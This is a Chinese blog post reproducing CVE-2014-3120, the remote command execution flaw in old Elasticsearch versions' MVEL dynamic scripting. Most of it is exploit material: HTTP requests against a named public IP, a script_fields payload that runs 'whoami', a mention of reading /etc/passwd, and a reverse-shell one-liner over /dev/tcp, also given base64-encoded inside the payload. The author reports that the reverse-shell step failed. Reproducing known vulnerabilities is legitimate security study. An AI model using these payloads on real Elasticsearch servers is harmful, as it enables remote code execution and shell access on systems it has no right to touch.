首页 > 数据库 >数据库安全-ElasticSearch漏洞复现

数据库安全-ElasticSearch漏洞复现

时间:2024-08-09 15:40:01浏览次数:11  
标签:java script image 漏洞 ElasticSearch 复现 zh 数据库安全 bash

CVE-2014-3120命令执行漏洞

一、漏洞详情

老版本ElasticSearch支持传入动态脚本(MVEL)来执行一些复杂的操作,而MVEL可执行Java代码,而且没有沙盒,所以我们可以直接执行任意代码。
MVEL执行命令代码:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("whoami").getInputStream()).useDelimiter("\\A").next(); 

二、漏洞复现

访问 http://47.236.138.222:9200/
image

在Repeater中修改报文,通过_search来获取payload的响应结果。此时需要注意,如果库里没有数据的情况下,需要先写入一条数据后,才可以注入成功。

POST /helloword/hello HTTP/1.1
Host: 47.236.138.222:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

{
"name":"esdemo"
}

image
再次获取注入结果

{
	"size": 1,
	"script_fields":{
		"command": {
			"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"whoami\").getInputStream()).useDelimiter(\"\\\\A\").next();"
		}
	}
}

image
查看etc/passwd

image
反弹连接
bash -i >&/dev/tcp/192.168.226.130/7777 0>&1

bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMjI2LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

构造payload

{
	"size": 1,
	"script_fields":{
		"command": {
			"script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMjI2LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}\").getInputStream()).useDelimiter(\"\\\\A\").next();"
		}
	}
}

开启监听重新放包(失败)
image

标签:java,script,image,漏洞,ElasticSearch,复现,zh,数据库安全,bash
From: https://www.cnblogs.com/alwaysz/p/18350638

相关文章

  • 深入浅出Java RestClient与Elasticsearch:一次简单的聚合查询实现
    文章目录一、什么是聚合查询?二、开始编写代码三、代码解析四、总结在当今的大数据时代,Elasticsearch作为一个分布式搜索和分析引擎,被广泛应用于各类数据密集型应用中。而使用Java与Elasticsearch交互进行数据操作时,JavaHighLevelRestClient提供了一种方便且......
  • 【漏洞复现】致远OA多个任意文件上传批量检测验证
    目录 wpsAssistServlet任意文件上传》》》漏洞描述《《《》》》影响范围《《《》》》环境搭建《《《》》》漏洞复现《《《ajax.do任意文件上传CNVD-2021-01627漏洞》》》漏洞描述《《《》》》影响范围《《《》》》漏洞复现《《《A6htmlofficeservlet任意文件上......
  • 【漏洞复现】某赛通电子文档安全管理系统 PolicyAjax SQL注入漏洞
    0x01产品简介某赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能加密等多种加密......
  • php: 操作elasticsearch的别名
    一,添加别名1,代码://初始化es的client$client=$this->_init_es();//确定参数$params=['index'=>'gs_second',//索引名字'name'=>'gs_second_idx',//索引的别名......
  • elasticsearch: 指定索引数据的保存目录
    一,查看节点的fs得到索引数据的保存目录说明:修改索引数据的保存目录,通常是因为要把数据单独保存到服务器专用的数据盘,方便扩展\管理\备份等访问:http://localhost:9200/_nodes/stats/fs 也可以从命令行访问:[root@lhdpcelasticsearch]#curl-XGET"localhost:9200/_no......
  • 传知代码-动态键值记忆网络解决知识追踪(论文复现)
    代码以及视频讲解本文所涉及所有资源均在传知代码平台可获取1.论文概述复现论文:DynamicKey-ValueMemoryNetworksforKnowledgeTracing(DKVMN)知识追踪(KT)是追踪学生在一系列学习活动中知识状态演变的任务。其目的是个性化地指导学生的学习,帮助他们高效地掌握知识概......
  • 【创新、复现】基于蜣螂优化算法的无线传感器网络覆盖优化研究(Matlab代码实现)
    ......
  • ELK Elasticsearch 集群部署
    ELKElasticsearch集群部署数据流向:1、后台服务器产生的日志由filebeat收集通过logstasg进行标准化处理,传输给es1、es2(两个是一个主备的关系,数据都是一致的),然后传输给可视化设备。有了flebeat可以节省资源,可以通过filebeat和logstash实现远程数据收集。filereat不能......
  • Elasticsearch:用例、架构和 6 个最佳实践
    1.什么是Elasticsearch?Elasticsearch是一个开源分布式搜索和分析引擎,专为处理大量数据而设计。它建立在ApacheLucene之上,并由Elastic支持。Elasticsearch用于近乎实时地存储、搜索和分析结构化和非结构化数据。Elasticsearch的一个主要特性是其可扩展性,这使得......
  • Informer复现 -- 训练及吃瓜
    想吃瓜的同学,直接往后看训练经过几次博文,Informer的模型已经完全复现了。接下来就是通过训练验证复现的模型是否可行。优化器optimizer用Adam,评价标准criterion用MSELoss(),学习率设置为1e-3,学习率衰减采用CosineLRScheduler(timm.scheduler.cosine_lr),预热5个epoch。batch_......